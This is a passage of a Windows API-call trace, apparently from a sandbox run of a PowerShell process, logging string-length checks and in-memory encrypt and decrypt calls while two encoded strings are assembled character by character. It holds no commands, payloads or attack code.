[0133.352] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xd7c8\xa3e3\x8fa0\xe70b\xf22f\xe8bb\x9916\xe24d") returned 0x28 [0133.352] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xd7c8\xa3e3\x8fa0\xe70b\xf22f\xe8bb\x9916\xe24d") returned 0x28 [0133.352] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.352] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2af鹽ﰹꖉ뇀寡") returned 0x28 [0133.352] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.352] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xa25e\x5aaf\x80ef\x5ce3\x8b67\x3cbe\x57ff\xbe5f") returned 0x28 [0133.352] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xa25e\x5aaf\x80ef\x5ce3\x8b67\x3cbe\x57ff\xbe5f") returned 0x28 [0133.352] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.352] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affﰹꖉ뇀寡") returned 0x28 [0133.352] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.352] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x274b\x2d2d\xa5b0\xd7d8\xc91f\x9685\x77df\xfaab") returned 0x28 [0133.352] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x274b\x2d2d\xa5b0\xd7d8\xc91f\x9685\x77df\xfaab") returned 0x28 [0133.352] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.352] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affwꖉ뇀寡") returned 0x28 [0133.352] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xf8e8\x9bd5\x8197\x177b\x438b\xfe00\x8dbc\xdf36") returned 0x28 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xf8e8\x9bd5\x8197\x177b\x438b\xfe00\x8dbc\xdf36") returned 0x28 [0133.353] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws뇀寡") returned 0x28 [0133.353] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xed80\xfd78\xab83\xbd9d\x24\xbea2\xe1ed\x499c") returned 0x28 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\xed80\xfd78\xab83\xbd9d\x24\xbea2\xe1ed\x499c") returned 0x28 [0133.353] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws/寡") returned 0x28 [0133.353] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x8e64\x79b3\xe1aa\x4fdc\xb1d\xd4e5\xa13e\x757") returned 0x28 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x8e64\x79b3\xe1aa\x4fdc\xb1d\xd4e5\xa13e\x757") returned 0x28 [0133.353] SystemFunction041 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws/t") returned 0x28 [0133.353] SystemFunction040 (in: Memory=0x4382fc4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4382fc4) returned 0x0 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1") returned 0x28 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1") returned 0x28 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1") returned 0x28 [0133.353] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1") returned 0x30 [0133.353] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws/t/豯৆玊슞ᦳ劷ⰲ") returned 0x30 [0133.354] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1\xae53\x829a\x2e99\x8a33\x1da3\x460d\x8e17\xe84a") returned 0x30 [0133.354] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1\xae53\x829a\x2e99\x8a33\x1da3\x460d\x8e17\xe84a") returned 0x30 [0133.354] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws/t/a৆玊슞ᦳ劷ⰲ") returned 0x30 [0133.354] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1\xdfb4\x63c6\xf11a\xb2ce\x7264\x517a\x4321\xfb3a") returned 0x30 [0133.354] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1\xdfb4\x63c6\xf11a\xb2ce\x7264\x517a\x4321\xfb3a") returned 0x30 [0133.354] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws/t/a4玊슞ᦳ劷ⰲ") returned 0x30 [0133.354] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1\x2949\x9608\x3f83\x7fe2\xcdef\x9d5e\x5510\xe106") returned 0x30 [0133.354] SysStringLen (param_1="\x52e6\xda6c\xe8d5\x57d6\xa69f\x7dc1\x41b2\x1bc6\xf679\x94c\x8fec\xcca\x3c3b\xd18\xcdd6\xe248\x4d93\x57be\xaefc\x6f9a\x7dd\xe359\x876d\x14b\xd80f\xbb47\x75a5\xd61d\xd122\x71e4\x5c\x12e0\x2424\x8c45\x7a8e\x728c\x65e\xd26\x174c\x1ce1\x2949\x9608\x3f83\x7fe2\xcdef\x9d5e\x5510\xe106") returned 0x30 [0133.354] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] SysStringLen (param_1="n0IxC+pc/pRnU6hwZujmv1l5EqmGIn1G2affws/t/a4=슞ᦳ劷ⰲ") returned 0x30 [0133.354] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0133.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x94, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.354] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.354] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.355] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.355] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.355] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.355] SysStringLen (param_1="") returned 0x8 [0133.355] SysStringLen (param_1="Y") returned 0x8 [0133.355] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.355] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.355] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.355] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.355] SysStringLen (param_1="YW") returned 0x8 [0133.355] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.355] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.355] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.355] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.355] SysStringLen (param_1="YWM") returned 0x8 [0133.355] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.356] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.356] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="YWM1") returned 0x8 [0133.356] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.356] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.356] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="YWM1O") returned 0x8 [0133.356] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.356] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.356] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.356] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.356] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.356] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.356] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.356] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.356] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.356] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.357] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.357] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.357] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.357] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.357] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.357] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.357] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.357] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.357] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.357] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.357] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.357] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.357] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.357] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.357] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.357] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.357] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.357] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.358] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.358] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.358] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.358] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.358] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.358] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.358] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.358] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.359] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.359] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.359] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.359] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.359] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.359] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.359] SysStringLen 